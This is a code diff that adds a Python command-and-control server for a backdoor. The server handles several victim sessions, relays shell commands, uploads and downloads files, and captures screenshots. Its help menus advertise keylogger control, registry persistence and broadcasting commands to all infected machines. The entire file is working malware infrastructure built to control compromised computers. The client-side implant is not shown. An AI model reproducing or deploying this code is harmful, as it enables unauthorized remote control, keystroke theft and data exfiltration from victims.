|
| 1 | +import socket |
| 2 | +import termcolor #pip install termcolor |
| 3 | +import pyautogui #pip install pylance |
| 4 | +import json |
| 5 | +import os |
| 6 | +import threading |
| 7 | + |
| 8 | +def reliable_recv(target): |
| 9 | + data = '' |
| 10 | + while True: |
| 11 | + try: |
| 12 | + data = data + target.recv(1024).decode().rstrip() |
| 13 | + return json.loads(data) |
| 14 | + except ValueError: |
| 15 | + continue |
| 16 | + |
| 17 | +def reliable_send(target, data): |
| 18 | + jsondata = json.dumps(data) |
| 19 | + target.send(jsondata.encode()) |
| 20 | + |
| 21 | +#This function is to stop server.py issuing reliable_send if command='help' or 'clear' |
| 22 | +#Creates less network traffic. |
| 23 | +def exclusion_words(command): |
| 24 | + exclusion_words = ['help', 'clear'] #make this global variable |
| 25 | + if command == exclusion_words : |
| 26 | + return 1 |
| 27 | + |
| 28 | +def upload_file(target, file_name): |
| 29 | + f = open(file_name, 'rb') |
| 30 | + target.send(f.read()) |
| 31 | + |
| 32 | +def download_file(target, file_name): |
| 33 | + f = open(file_name, 'wb') |
| 34 | + target.settimeout(2) |
| 35 | + chunk = target.recv(1024) |
| 36 | + while chunk: |
| 37 | + f.write(chunk) |
| 38 | + try: |
| 39 | + chunk = target.recv(1024) |
| 40 | + except socket.timeout as e: |
| 41 | + break |
| 42 | + target.settimeout(None) |
| 43 | + f.close() |
| 44 | + |
| 45 | +def screenshot(target, count): |
| 46 | + directory = './screenshots' |
| 47 | + if not os.path.exists(directory): |
| 48 | + os.makedirs(directory) |
| 49 | + f = open(directory + '/screenshot_%d.png' % (count), 'wb') #if target=Linux then #apt-get install scrot |
| 50 | + target.settimeout(3) |
| 51 | + chunk = target.recv(1024) |
| 52 | + while chunk: |
| 53 | + f.write(chunk) |
| 54 | + try: |
| 55 | + chunk = target.recv(1024) |
| 56 | + except socket.timeout as e: |
| 57 | + break |
| 58 | + target.settimeout(None) |
| 59 | + f.close() |
| 60 | + count += 1 |
| 61 | + |
| 62 | +def server_help_manual(): |
| 63 | + print('''\n |
| 64 | + quit --> Quit Session With The Target |
| 65 | + clear --> Clear The Screen |
| 66 | + background --> Send Session With Target To Background |
| 67 | + cd *Directory name* --> Changes Directory On Target System |
| 68 | + upload *file name* --> Upload File To The Target Machine From Working Dir |
| 69 | + download *file name* --> Download File From Target Machine |
| 70 | + keylog_start --> Start The Keylogger |
| 71 | + keylog_dump --> Print Keystrokes That The Target From taskmanager.txt |
| 72 | + keylog_stop --> Stop And Self Destruct Keylogger File |
| 73 | + persistence *RegName* *filename* --> Create Persistence In Registry |
| 74 | + screenshot --> Takes screenshot and sends to server ./screenshots/ |
| 75 | + remove_backdoor --> Removes backdoor from target!!! |
| 76 | + \n''') |
| 77 | + |
| 78 | +def c2_help_manual(): |
| 79 | + print('''\n |
| 80 | + ===Command and Control (C2) Manual=== |
| 81 | +
|
| 82 | + targets --> Prints Active Sessions |
| 83 | + session *session num* --> Will Connect To Session (background to return) |
| 84 | + clear --> Clear Terminal Screen |
| 85 | + exit --> Quit ALL Active Sessions and Closes C2 Server!! |
| 86 | + kill *session num* --> Issue 'quit' To Specified Target Session |
| 87 | + sendall *command* --> Sends The *command* To ALL Active Sessions (sendall notepad) |
| 88 | + \n''') |
| 89 | + |
| 90 | +def target_communication(target, ip): |
| 91 | + count = 0 |
| 92 | + while True: |
| 93 | + command = input('* Shell~%s: ' % str(ip)) |
| 94 | + reliable_send(target, command) |
| 95 | + if command == 'quit': |
| 96 | + break |
| 97 | + elif command == 'background': |
| 98 | + break |
| 99 | + elif command == 'clear': |
| 100 | + os.system('clear') |
| 101 | + elif command[:3] == 'cd ': |
| 102 | + pass |
| 103 | + elif command[:6] == 'upload': |
| 104 | + upload_file(target, command[7:]) |
| 105 | + elif command[:8] == 'download': |
| 106 | + download_file(target, command[9:]) |
| 107 | + elif command[:10] == 'screenshot': |
| 108 | + screenshot(target, count) |
| 109 | + elif command == 'help': |
| 110 | + server_help_manual() |
| 111 | + else: |
| 112 | + result = reliable_recv(target) |
| 113 | + print(result) |
| 114 | + |
| 115 | +def accept_connections(): |
| 116 | + while True: |
| 117 | + if stop_flag: |
| 118 | + break |
| 119 | + sock.settimeout(1) |
| 120 | + try: |
| 121 | + target, ip = sock.accept() |
| 122 | + targets.append(target) |
| 123 | + ips.append(ip) |
| 124 | + print(termcolor.colored(str(ip) + ' has connected!', 'green')) |
| 125 | + #print('[**] Command & Control Center: ', end = '\r') |
| 126 | + except: |
| 127 | + pass |
| 128 | + |
| 129 | +#Work in progress (currently 'exit' command is buggy when issued from c2() |
| 130 | +def c2(): |
| 131 | + while True: |
| 132 | + try: |
| 133 | + command = input('[**] Command & Control Center: ') |
| 134 | + if command == 'targets': |
| 135 | + counter = 0 |
| 136 | + for ip in ips: |
| 137 | + print('Session ' + str(counter) + ' --- ' + str(ip)) |
| 138 | + counter += 1 |
| 139 | + elif command == 'clear': |
| 140 | + os.system('clear') |
| 141 | + elif command[:7] == 'session': |
| 142 | + try: |
| 143 | + num = int(command[8:]) |
| 144 | + tarnum = targets[num] |
| 145 | + tarip = ips[num] |
| 146 | + target_communication(tarnum, tarip) |
| 147 | + except: |
| 148 | + print('[-] No Session Under That ID Number') |
| 149 | + elif command == 'exit': |
| 150 | + for target in targets: |
| 151 | + reliable_send(target, 'quit') |
| 152 | + target.close() |
| 153 | + sock.close() |
| 154 | + stop_flag = True |
| 155 | + t1.join() |
| 156 | + break |
| 157 | + elif command[:4] == 'kill': |
| 158 | + targ = targets[int(command[5:])] |
| 159 | + ip = ips[int(command[5:])] |
| 160 | + reliable_send(targ, 'quit') |
| 161 | + targ.close() |
| 162 | + targets.remove(targ) |
| 163 | + ips.remove(ip) |
| 164 | + elif command[:7] == 'sendall': |
| 165 | + x = len(targets) |
| 166 | + print(x) |
| 167 | + i = 0 |
| 168 | + try: |
| 169 | + while i < x: |
| 170 | + tarnumber = targets[i] |
| 171 | + print(tarnumber) |
| 172 | + reliable_send(tarnumber, command) |
| 173 | + i += 1 |
| 174 | + except: |
| 175 | + print('Failed') |
| 176 | + elif command[:4] == 'help': |
| 177 | + c2_help_manual() |
| 178 | + else: |
| 179 | + print(termcolor.colored('[!!] Command Doesnt Exist', 'red')) |
| 180 | + except (KeyboardInterrupt, SystemExit): |
| 181 | + if (input('\nDo you want to exit? yes/no: ') == 'yes'): |
| 182 | + break |
| 183 | + except ValueError as e: |
| 184 | + print('[!!] ValueError: ' + str(e)) |
| 185 | + continue |
| 186 | + finally: |
| 187 | + sock.close() |
| 188 | + print('\n[-] C2 Socket Closed! Bye!!') |
| 189 | + |
| 190 | +def exit_c2(targets): #function of: elif command == 'exit': |
| 191 | + for target in targets: |
| 192 | + reliable_send(target, 'quit') |
| 193 | + target.close() |
| 194 | + sock.close() |
| 195 | + stop_flag = True |
| 196 | + t1.join() |
| 197 | + SystemExit() |
| 198 | + |
| 199 | +targets = [] |
| 200 | +ips = [] |
| 201 | +stop_flag = False |
| 202 | +sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) |
| 203 | +sock.bind(('127.0.0.1', 5555)) #sudo fuser -k 5555/tcp |
| 204 | +sock.listen(5) |
| 205 | +t1 = threading.Thread(target=accept_connections) |
| 206 | +t1.start() |
| 207 | +print('Run "help" command to see the usage manual') |
| 208 | +print(termcolor.colored('[+] Waiting For The Incoming Connections ...', 'green')) |
| 209 | + |
| 210 | +#c2() |
| 211 | + |
| 212 | +#Command and control code (legacy) |
| 213 | +while True: |
| 214 | + try: |
| 215 | + command = input('[**] Command & Control Center: ') |
| 216 | + if command == 'targets': |
| 217 | + counter = 0 |
| 218 | + for ip in ips: |
| 219 | + print('Session ' + str(counter) + ' --- ' + str(ip)) |
| 220 | + counter += 1 |
| 221 | + elif command == 'clear': |
| 222 | + os.system('clear') |
| 223 | + elif command[:7] == 'session': |
| 224 | + try: |
| 225 | + num = int(command[8:]) |
| 226 | + tarnum = targets[num] |
| 227 | + tarip = ips[num] |
| 228 | + target_communication(tarnum, tarip) |
| 229 | + except: |
| 230 | + print('[-] No Session Under That ID Number') |
| 231 | + elif command == 'exit': |
| 232 | + for target in targets: |
| 233 | + reliable_send(target, 'quit') |
| 234 | + target.close() |
| 235 | + sock.close() |
| 236 | + stop_flag = True |
| 237 | + t1.join() |
| 238 | + break |
| 239 | + elif command[:4] == 'kill': |
| 240 | + targ = targets[int(command[5:])] |
| 241 | + ip = ips[int(command[5:])] |
| 242 | + reliable_send(targ, 'quit') |
| 243 | + targ.close() |
| 244 | + targets.remove(targ) |
| 245 | + ips.remove(ip) |
| 246 | + elif command[:7] == 'sendall': |
| 247 | + x = len(targets) |
| 248 | + print(x) |
| 249 | + i = 0 |
| 250 | + try: |
| 251 | + while i < x: |
| 252 | + tarnumber = targets[i] |
| 253 | + print(tarnumber) |
| 254 | + reliable_send(tarnumber, command) |
| 255 | + i += 1 |
| 256 | + except: |
| 257 | + print('Failed') |
| 258 | + elif command[:4] == 'help': |
| 259 | + c2_help_manual() |
| 260 | + else: |
| 261 | + print(termcolor.colored('[!!] Command Doesnt Exist', 'red')) |
| 262 | + except (KeyboardInterrupt, SystemExit): |
| 263 | + if (input('\nDo you want to exit? yes/no: ') == 'yes'): |
| 264 | + sock.close() |
| 265 | + print(termcolor.colored('\n[-] C2 Socket Closed! Bye!!', 'yellow')) |
| 266 | + break |
| 267 | + except ValueError as e: |
| 268 | + print(termcolor.colored('[!!] ValueError: ' + str(e), 'red')) |
| 269 | + continue |
0 commit comments